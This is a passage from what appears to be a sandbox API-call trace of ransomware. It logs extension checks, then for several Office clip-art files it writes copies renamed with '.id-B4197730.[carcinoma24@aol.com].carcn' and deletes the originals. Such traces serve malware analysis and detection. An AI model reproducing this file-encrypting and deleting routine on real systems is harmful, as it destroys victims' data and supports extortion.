Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.940] lstrlenW (lpString=".jpg") returned 4 [0296.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.940] lstrlenW (lpString=".doc") returned 4 [0296.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.940] lstrlenW (lpString=".docx") returned 5 [0296.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.941] lstrlenW (lpString=".pdf") returned 4 [0296.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.941] lstrlenW (lpString=".xls") returned 4 [0296.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.941] lstrlenW (lpString=".xlsx") returned 5 [0296.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.941] lstrlenW (lpString=".ppt") returned 4 [0296.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.941] lstrlenW (lpString=".zip") returned 4 [0296.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.941] lstrlenW (lpString=".rar") returned 4 [0296.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.941] lstrlenW (lpString=".bz2") returned 4 [0296.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.941] lstrlenW (lpString=".7z") returned 3 [0296.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.941] lstrlenW (lpString=".dbf") returned 4 [0296.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.941] lstrlenW (lpString=".1cd") returned 4 [0296.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0296.941] lstrlenW (lpString=".jpg") returned 4 [0296.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.942] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.942] lstrlenW (lpString="BL00152_.WMF") returned 12 [0296.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.942] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1516) returned 1 [0296.942] CloseHandle (hObject=0x358) returned 1 [0296.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0296.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.943] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.943] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0296.944] GetLastError () returned 0x0 [0296.944] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x5ec, lpOverlapped=0x0) returned 1 [0297.422] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x5f0, lpOverlapped=0x0) returned 1 [0297.423] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.423] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.424] SetEndOfFile (hFile=0x388) returned 1 [0297.424] CloseHandle (hObject=0x388) returned 1 [0297.424] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.424] SetEndOfFile (hFile=0x358) returned 1 [0297.425] CloseHandle (hObject=0x358) returned 1 [0297.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0297.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.426] lstrlenW (lpString=".doc") returned 4 [0297.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.426] lstrlenW (lpString=".docx") returned 5 [0297.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.426] lstrlenW (lpString=".pdf") returned 4 [0297.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.426] lstrlenW (lpString=".xls") returned 4 [0297.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.426] lstrlenW (lpString=".xlsx") returned 5 [0297.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.426] lstrlenW (lpString=".ppt") returned 4 [0297.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.426] lstrlenW (lpString=".zip") returned 4 [0297.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.426] lstrlenW (lpString=".rar") returned 4 [0297.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.427] lstrlenW (lpString=".bz2") returned 4 [0297.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.427] lstrlenW (lpString=".7z") returned 3 [0297.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.427] lstrlenW (lpString=".dbf") returned 4 [0297.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.427] lstrlenW (lpString=".1cd") returned 4 [0297.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.427] lstrlenW (lpString=".jpg") returned 4 [0297.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.427] lstrlenW (lpString=".doc") returned 4 [0297.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.427] lstrlenW (lpString=".docx") returned 5 [0297.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.427] lstrlenW (lpString=".pdf") returned 4 [0297.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.427] lstrlenW (lpString=".xls") returned 4 [0297.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.427] lstrlenW (lpString=".xlsx") returned 5 [0297.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.428] lstrlenW (lpString=".ppt") returned 4 [0297.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.428] lstrlenW (lpString=".zip") returned 4 [0297.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.428] lstrlenW (lpString=".rar") returned 4 [0297.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.428] lstrlenW (lpString=".bz2") returned 4 [0297.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.428] lstrlenW (lpString=".7z") returned 3 [0297.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.428] lstrlenW (lpString=".dbf") returned 4 [0297.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.428] lstrlenW (lpString=".1cd") returned 4 [0297.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0297.428] lstrlenW (lpString=".jpg") returned 4 [0297.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.428] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.428] lstrlenW (lpString="BL00269_.WMF") returned 12 [0297.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0297.429] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=5272) returned 1 [0297.429] CloseHandle (hObject=0x358) returned 1 [0297.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220 [0297.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0297.430] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.430] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0297.431] GetLastError () returned 0x0 [0297.431] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1498, lpOverlapped=0x0) returned 1 [0297.432] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0297.434] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.434] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.434] SetEndOfFile (hFile=0x388) returned 1 [0297.434] CloseHandle (hObject=0x388) returned 1 [0297.434] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.434] SetEndOfFile (hFile=0x358) returned 1 [0297.435] CloseHandle (hObject=0x358) returned 1 [0297.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0297.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.436] lstrlenW (lpString=".doc") returned 4 [0297.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.437] lstrlenW (lpString=".docx") returned 5 [0297.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.437] lstrlenW (lpString=".pdf") returned 4 [0297.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.437] lstrlenW (lpString=".xls") returned 4 [0297.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.437] lstrlenW (lpString=".xlsx") returned 5 [0297.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.437] lstrlenW (lpString=".ppt") returned 4 [0297.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.437] lstrlenW (lpString=".zip") returned 4 [0297.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.437] lstrlenW (lpString=".rar") returned 4 [0297.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.437] lstrlenW (lpString=".bz2") returned 4 [0297.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.437] lstrlenW (lpString=".7z") returned 3 [0297.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.437] lstrlenW (lpString=".dbf") returned 4 [0297.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.437] lstrlenW (lpString=".1cd") returned 4 [0297.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.437] lstrlenW (lpString=".jpg") returned 4 [0297.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.438] lstrlenW (lpString=".doc") returned 4 [0297.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.438] lstrlenW (lpString=".docx") returned 5 [0297.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.438] lstrlenW (lpString=".pdf") returned 4 [0297.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.438] lstrlenW (lpString=".xls") returned 4 [0297.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.438] lstrlenW (lpString=".xlsx") returned 5 [0297.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.438] lstrlenW (lpString=".ppt") returned 4 [0297.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.438] lstrlenW (lpString=".zip") returned 4 [0297.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.438] lstrlenW (lpString=".rar") returned 4 [0297.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.438] lstrlenW (lpString=".bz2") returned 4 [0297.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.438] lstrlenW (lpString=".7z") returned 3 [0297.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.438] lstrlenW (lpString=".dbf") returned 4 [0297.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.439] lstrlenW (lpString=".1cd") returned 4 [0297.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0297.439] lstrlenW (lpString=".jpg") returned 4 [0297.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.439] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.439] lstrlenW (lpString="BL00270_.WMF") returned 12 [0297.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0297.439] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3016) returned 1 [0297.439] CloseHandle (hObject=0x358) returned 1 [0297.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220 [0297.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0297.440] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.440] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0297.441] GetLastError () returned 0x0 [0297.441] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0297.442] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0297.444] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.444] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.444] SetEndOfFile (hFile=0x388) returned 1 [0297.448] CloseHandle (hObject=0x388) returned 1 [0297.448] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.448] SetEndOfFile (hFile=0x358) returned 1 [0297.449] CloseHandle (hObject=0x358) returned 1 [0297.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0297.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.457] lstrlenW (lpString=".doc") returned 4 [0297.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.457] lstrlenW (lpString=".docx") returned 5 [0297.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.457] lstrlenW (lpString=".pdf") returned 4 [0297.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.457] lstrlenW (lpString=".xls") returned 4 [0297.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.457] lstrlenW (lpString=".xlsx") returned 5 [0297.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.457] lstrlenW (lpString=".ppt") returned 4 [0297.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.458] lstrlenW (lpString=".zip") returned 4 [0297.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.458] lstrlenW (lpString=".rar") returned 4 [0297.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.458] lstrlenW (lpString=".bz2") returned 4 [0297.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.458] lstrlenW (lpString=".7z") returned 3 [0297.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.458] lstrlenW (lpString=".dbf") returned 4 [0297.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.458] lstrlenW (lpString=".1cd") returned 4 [0297.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.458] lstrlenW (lpString=".jpg") returned 4 [0297.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.458] lstrlenW (lpString=".doc") returned 4 [0297.458] lstrcmpiW 